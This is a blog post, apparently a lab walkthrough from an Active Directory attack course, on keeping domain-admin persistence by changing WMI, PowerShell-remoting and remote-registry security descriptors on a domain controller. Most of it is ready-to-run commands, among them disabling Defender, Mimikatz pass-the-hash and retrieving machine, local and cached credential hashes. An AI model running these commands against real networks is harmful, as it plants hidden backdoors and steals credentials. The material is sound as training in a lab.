Skip to main content

Domain dominance Using ACL’s - Security Descriptors, Part 8

 

In this lession we will be continuing our discussion on persistence as we have domain admin privilege.

Lets discuss about persistence with acl’s specifically host based security descriptors. Once we have local administrator access on a box it is possible to modify security descriptors. For example, groups, sacl, dacl etc. of multiple remote access securable objects like wmi, powershell remoting, remote registry etc. so that the non-admin user can access it.

By default only administrators are allowed to use remote administration tool to login remote machine and execute commands etc. But by modifying security descriptors of these protocols, we can make our controlled user to give that same power. Then that user will be allowed to access remote box and execute commands. We need administrative privileges to the target machine to do this. This will be more clear soon.

Persistence time is very long. There are very less organization who monitor acl and acl audit logs.

ACL's can be modified to allow non-admin users access to securable objects like wmi, powershell remoting, remote registry etc. 

On local machine for student1:

. .\Set-RemoteWMI.ps1

Set-RemoteWMI -Username student1 -Verbose

On remote machine for student1 without specifying explicit credentials:

Set-RemoteWMI -Username student1 -ComputerName dcorp-dc -namespace 'root\cimv2' -Verbose

On remote machines with explicit credentials. Only root\cmv2 and nested namespaces:

Set-RemoteWMI -Username student1 -ComputerName dcorp-dc -Credential Administrator -namespace 'root\cimv2' -Verbose

On remote machines remove permissions:

Set-RemoteWMI -Username student1 -ComputerName dcorp-dc -namespace 'root\cimv2' -Remove -Verbose

Please keep in mind that if you run the script against domain controller you must run the script with domain admin privileges. 

Now go to your studentadmin machine where you are local admin. Launch a powershell session with admin privs.

Disable defender:

Set-MpPreference -DisableRealtimeMonitoring $true

. C:\AD\Tools\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"sekurlsa::pth /user:svcadmin /domain:dollarcorp.moneycorp.local /ntlm:<domain admin ntlm hash> /run:powershell.exe"'

Now another powershell session will open with domain admin privs. 

Now from this shell type:

. .\Set-RemoteWMI.ps1

Set-RemoteWMI -UserName studentadmin -ComputerName dcorp-dc.dollarcorp.moneycorp.local -namespace 'root\cimv2' -Verbose  (Here DA credential is not required because we are already in DA privs shell)

Now from studentadmin non-privs shell type below:

Get-WmiObject -Class win32_operatingsystem -ComputerName dcorp-dc.dollarcorp.moneycorp.local

Security descriptors using powershell remoting:

On local machine for student1:

Set-RemotePSRemoting -UserName student1 -Verbose

On remote machine for student1 without credentials:

Set-RemotePSRemoting -UserName student1 -ComputerName dcorp-dc -Verbose

On remote machine, remove permissions:

Set-RemotePSRemoting -UserName student1 -ComputerName dcorp-dc -Remove 

Now from privs domain admin shell type below:

. .\Set-RemotePSRemoting.ps1

Set-RemotePSRemoting -UserName studentadmin -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Verbose  (Here DA credential is not required because we are already in DA privs shell)

Now from studentadmin non-privs shell type below:

Invoke-Command -ScriptBlock{whoami;hostname} -ComputerName dcorp-dc.dollarcorp.moneycorp.local 

You will see that you can access. 

Security Descriptors using remote registry:

Using DAMP with domain admin privs on remote machine:

Add-RemoteRegBackdoor -ComputerName dcorp-dc -Trustee student1 -Verbose

As impersonate student1, retrieve machine account hash:

Get-RemoteMachineAccountHash -ComputerName dcorp-dc -Verbose

Retrieve local account hash:

Get-RemoteLocalAccountHash -ComputerName dcorp-dc -Verbose

Retrieve domain cached credentials:

Get-RemoteCachedCredential -ComputerName dcorp-dc -Verbose

Now from privs domain admin shell:

. .\Add-RemoteRegBackdoor.ps1

Add-RemoteRegBackdoor -ComputerName dcorp-dc -Trustee studentadmin -Verbose

Now from studentadmin no privs shell:

. C:\AD\Tools\DAMP-Master\DAMP-Master\RemoteHashRetrieval.ps1

Get-RemoteMachineAccountHash -ComputerName dcorp-dc -Verbose

Get remote local account hash:

Get-RemoteLocalAccountHash -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Verbose  (Here you will get remote dsrm account hash)





Avi


Comments

Popular posts from this blog

API hacking lab setup

 Follow the commands to install and configure API hacking lab: 1. Install kali linux and update all the packages.  apt update -y apt upgrade -y or apt dist-upgrade -y or apt full-upgrade -y If you face any problem regarding update, install cloud flare warp in the host machine, then again start updating packages in your kali vm.  2. Install and configure burpsuite professional.  After that open burpsuite and go to Extensions tab. Click on BAppStore. Search for Autorize extension, It will help us to automate authorization testing. Click on Download Jython from the right side. From Jython website click on Jython standalone JAR and save it. Go to Extensios > Extensions settings >  under Core extension settings find out Python environment on the right pane. Select the jython jar file that you just downloaded. Now again go to BAppStore and re-search for Autorize extension. You will see Install option this time after selecting Autorize extension. Install it. You ...

Install Nessus from docker

Docker installation. Give the below commands one by one. apt install docker-cli or apt install docker.io After the installation is complete, if you are inside wsl then give this command to start docker, because inside wsl systemd (systemctl) does not work: service docker start WSL troubleshooting : If the above command " service docker start " does not work then use below command: dockerd (It may not work if any previous docker process is running. It will show you pid of that process. Use this command to kill that process " kill -9 pid " and run dockerd command again) If " docker ps -a " giving error like " Cannot connect to the Docker daemon at unix:///run/podman/podman.sock. Is the docker daemon running? " This is because you may installed podman-docker package. If you remove the package still you will get this error but you should remove the package. Then issue this command: env | grep -i docker DOCKER_HOST=unix:///run/podman/podman.sock   --...

Installing kansa incident response tool

 Kansa is an IR framework. https://github.com/davehull/Kansa For enterprise data collection, you need to do this first from the admin system: Set-NetConnectionProfile -NetworkCategory Private (In private network) Enable-PSRemoting  from powershell on the system where you want to run this tool. This will enable winrm service with port 5985 and 5986. Check: netstat -naob | findstr "5985"   Also allow tcp port 5985 and 5986 for winrm through the network. You can use  GPO. Though winrm is communicating over http and https but authentication will be happened using kerberos in domain environment.  After downloading it  from the github and unzip it, you need to unlock it using powershell. Need powershell v3 or later. ls -r *.ps1 | Unblock-File Powershell policy bypass: Set-ExecutionPolicy AllSigned | RemoteSigned | Unrestricted From FOR508 course: .\kansa.ps1 -OutputPath .\Output\ -TargetList .\hostlist -TargetCount 250 -Verbose -Pushbin -Pushbin is requir...